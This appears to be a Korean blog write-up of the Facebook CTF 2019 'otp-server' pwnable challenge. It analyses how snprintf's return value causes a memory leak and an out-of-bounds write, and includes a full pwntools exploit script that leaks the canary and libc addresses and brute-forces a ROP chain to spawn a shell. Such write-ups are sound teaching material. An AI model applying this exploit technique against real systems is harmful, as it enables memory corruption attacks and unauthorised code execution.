SDJ( 수돈재 아님 ㅎ )

facebook ctf 2019 - otp-server 본문

write-up/pwnable

facebook ctf 2019 - otp-server

ShinDongJun 2019. 11. 4. 20:07

오랜만에 write-up을 쓰고자 한다.

오늘은 2019 facebook ctf - otp-server인데

먼저 보호기법부터 보자.

아름답다.

 

 

그럼 바로 바이너리를 분석하러 가보자.

main함수는 다음과 같이 생겼는데 하나씩 살펴보도록 하자.

 

1. sub_9E8

/dev/urandom에서 랜덤한 값을 꺼내온 다는 것 말고 중요한 점은 보이지 않는다.

sub_9E8속에 sub_9BA를 보면 설명을 해준다.

cipher( (4 byte nonce | message | 4 byte nonce) )방식이라고 한다.

 

 

2. sub_C4A ( 취약점 발생 함수 )

main함수에서 v4인자가 넘어온다.

IDA에서 함수의 이름을 내 입맛 대로 바꿔버린점 주의.

여기서는 두가지로 나뉘게 되는데

1번 -> Set key와

2번 -> Encrypt message로 나뉘게 된다.

각각 살펴보도록 하자.

 

1. SET_KEY()

별거 없다. DATA영역에 있는 char KEY[264]에 입력을 받는다.

시작 주소는 0x2021E0이다.

 

2. input_encrypt()

역시 별거 없다. DATA영역에 있는 char message[256]에 입력을 받는다.

시작 주소는 0x2020E0이다.

 

 

2-1. process() ( 중요 )

흐름은 다음과 같다.

먼저 랜덤한 값 X를 받아서

main함수에서 넘어온 배열 al의 맨 앞에 넣어준다.

현재 al의 상황 : [ X ( 4 byte ) ]

그 다음 snprintf로 *(a1+4)위치에 message를 붙여 넣는다.

snprintf의 반환 값을 v2가 받고 v5에 넣어준다.

현재 al의 상황 : [ X ( 4 byte ), message ( max : 256 byte ) ]

다음 *(a1 + v2 + 4) 위치에 다시 X를 넣는다.

현재 al의 상황 : [ X ( 4 byte ), message ( max : 256 byte ), X ( 4 byte ) ]

그 다음 xor_encrypt를 호출한다.

 

 

2-2 xor_encrypt()

간단하다

al[ X ( 4 byte ), message ( max : 256 byte ), X ( 4 byte ) ]을 우리가 SET_KEY()에서 입력한 KEY값으로 xor연산 시킨다.

 

 

2-3 sub_AE3()

xor한 다음 sub_AE3을 통해 encrypt_message를 출력한다.

이 때 인자는 sub_AE3(al, v5)로 v5는 아까 위에서 snprintf( ... )의 반환 값이다.

 

 

여기서 몇가지 지식을 잡고 가보자.

 

1. snprintf

먼저 snprintf의 원형은 다음과 같다.

1
int snprintf(char *str, size_t sizeconst char *format, ...);

그리고 IDA에서는 다음과 같이 사용한다.

이 때 반환값은 strlen(message)가 되는데,

중요한점은

DATA영역에서 message-KEY가 붙어있어서

만약 message가 꽉 차있다면 KEY길이까지 포함하여 반환하게 된다.

즉, 반환값을 받는 v2의 값이 달라질 수 있다.

 

이해를 돕기 위한 사진

사진과 같이 str에는 길이 17짜리 문자열이 있고

tmp[10]에 대해서 snprintf를 했을 때, 반환값은 str의 길이가 반환되는 것을 볼 수 있고, tmp배열에는 원하는 문자열만 들어간다.

snprintf의 반환값은 아마 인자들의 길이가 반환되는 것은 아닌지? 나중에 혼자 실험해봐야할듯

 

 

2. DATA영역의 구조

방금전에도 썼듯이

message와 KEY의 배열이 서로 붙어있다.

 

MESSAGE = 0x2020E0

KEY = 0x2021E0

 

KEY = "AAAA"가 있고,

MESSAGE에 "B"*256이 있다면

snprintf로 반환받는 값은 strlen("B"*256 + "AAAA")가 된다.

 

이 때 KEY의 최댓값은 264 byte로 

KEY, MESSAGE 둘다 최대의 문자열을 주면 최대 520 byte 가까이 leak을 할 수 있다. ( 물론 여기서 0x108는 기본 배열의 값이다.)

520byte에서 0x108을 뺀다 하더라도 main함수의 al의 ret를 넘어 그 위의 값들도 leak을 할 수 있게 된다.

 

3. out of bound( OOB )

 

위에서 우리는 v2를 조작할 수 있다고 했다.

v2의 값에 따라 *(al+v2+4) = X를 한다 했는데,

v2를 조작하여 main함수의 ret를 조작할 수 있게 된다.

이론상 충분히 exploit할 수 있다.

 

 

이제 익스를 하러 가보자.

 

1. leak을 하자.

 

우리는 message와 key를 합쳐 약 520 byte에 가까운 값을 leak할 수 있다고 했다.

따라서 message와 key의 값을 가득가득 채워 보내주자.

사진에서 보이는 것과 같이

canary, libc, PIE의 값들이 보인다.

저걸 주워다가 야무지게 써보자.

 

2. main함수의 ret를 덮어 써보자 - 1

먼저 main함수의 ret를 덮기 위해 ret의 인덱스를 찾아볼 필요가 있다.

먼저 우리는 *(al + v2 + 4) = X로 덮어 쓴다는 것을 알고,

main함수에서 al 은 [sfp-0x110]의 위치에 있다.

즉, v2+4가 0x118( sfp의 0x8 포함)가 되어야지 ret가 덮어쓸 수 있다는 의미이다.

따라서 v2는 0x114이상이 되어야하고,

message+key의 구조에서 message[0x100 byte] + key[0x108 byte]이므로

key는 최소 0x14이상이 되어야 ret를 덮을 수 있다.

 

 

3. 본격적으로 덮어보자!

우리는 libc를 안다!

따라서 원가젯 역시 구할 수 있다.

하지만 원가젯은 말을 듣지 않는다.

따라서 execve('/bin/sh', 0, 0)을 실행시키기 위한 가젯들을 모아야한다.

 

이때 *(al + alpha) = X라 할 때, (구체적으로 X = 0x12345678이라 하자)

al의 배열의 보면 다음과 같이 들어간다.

[0x78] [0x56]  [0x34]  [0x12]

  al      al+1    al+2    al+3

 

( 우분투에서 ret는 little endian형식으로 출력된다...? )

그리고 바이너리에서 encrypt_message 출력 역시 이 순서대로 \x78\x56\x34\x12로 나오므로 만약 ret[0]를 덮고 싶을 때, al[0] ( \x78 ) 이 우리가 덮고 싶은 가젯의 byte가 맞는지 확인하면 된다.

 

그러므로 (leak된 값의 맨 처음 ^ key[i] == (주고싶은 가젯 >> 8*i) & 0xff ) 식으로 맞춰가면서 bruteforce를 하다보면 언젠간 ret가 덮히게 될 것이다.

 

요약

 

1. leak을 하자

2. ret를 덮는다 

2-1. onegadget으로 덮는다.

2-2. ROP script를 직접 구해서 ret를 덮어간다.

3. exploit!

 

어째 one_gadget이 실행이 안된다..

 

exploit_code 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
 
= process('./otp_server')
 
def choice(idx):
    p.sendafter(">>> ", str(idx))
 
def set_key(data): #max 0x108 264
    choice(1)
    p.sendafter("key:", str(data))
 
def ENCRYPT(message): #max 0x100 256
    choice(2)
    p.sendafter(":", str(message))
 
set_key('A'*0x108)
ENCRYPT('A'*0x100)
 
p.recvuntil("-----\n")
p.recvuntil('A')
 
canary = u64(p.recv(8))
print "canary : " + hex(canary)
PIE_base = u64(p.recv(8))-0xdd0
print "PIE_base : " + hex(PIE_base)
leak = u64(p.recv(8))
print "leak : " + hex(leak)
libc_base = leak - 133168
print "libc_base : " + hex(libc_base)
 
pop_rax_rdx_rbx = libc_base + 3976542
pop_rdi = PIE_base+0xe33
pop_rsi_r15 = PIE_base + 0xe31
syscall = libc_base + 3976147
libc_bin_sh = libc_base + 0x18cd57
 
#one = [0x4f2c50x4f3220x10a38c]    # 2.27
one = [0x452160x4526a0xf02a40xf1147]    #2.23
one_gadget = libc_base + one[3]
 
script = [
    pop_rdi,
    libc_bin_sh,
    pop_rax_rdx_rbx,
    59,
    0,
    0,
    pop_rsi_r15,
    0,
    0,
    syscall
]
 
for j in range(10):
    for i in range(8):
        loop = 1
        while loop:
            set_key('a'*(0x14+8*j+i)+'\x00')
            ENCRYPT('a'*256)    # max
            p.recvuntil('-----\n')
            tmp = ord(p.recv(1))
            tmp ^= ord('a')
            if (script[j] >> 8*i) & 0xff == tmp:
                print "[*] tmp : " + str(hex(tmp))
                loop = 0
 
p.sendlineafter(">>> "'3')
p.interactive()

 

 

nice

 

// 이번 문제를 풀면서

1. snprintf 특성

2. char 배열에 (DWORD *)형식의 숫자가 들어갈 경우 들어가는 방향?

(예를들어 char tmp[30]에서 *tmp = 0x13425835같이 입력할 경우 출력을 할 때 어떻게 보이는지, gdb로는 어떻게 보이는지 강제 형변환에 대한 이해)

3. bruteforce 코딩

에 대해 깨우쳐버렸다.

'write-up > pwnable' 카테고리의 다른 글

HCTF 2019 - rop  (0) 2019.11.21
BackdoorCTF 2019 - babytcache  (0) 2019.11.12
HSCTF 2019 - aria writer v3  (0) 2019.10.08
HSCTF 2019 - Aria writer  (0) 2019.10.08
PwnThybytes 2019 - babyfactory  (0) 2019.10.07
Comments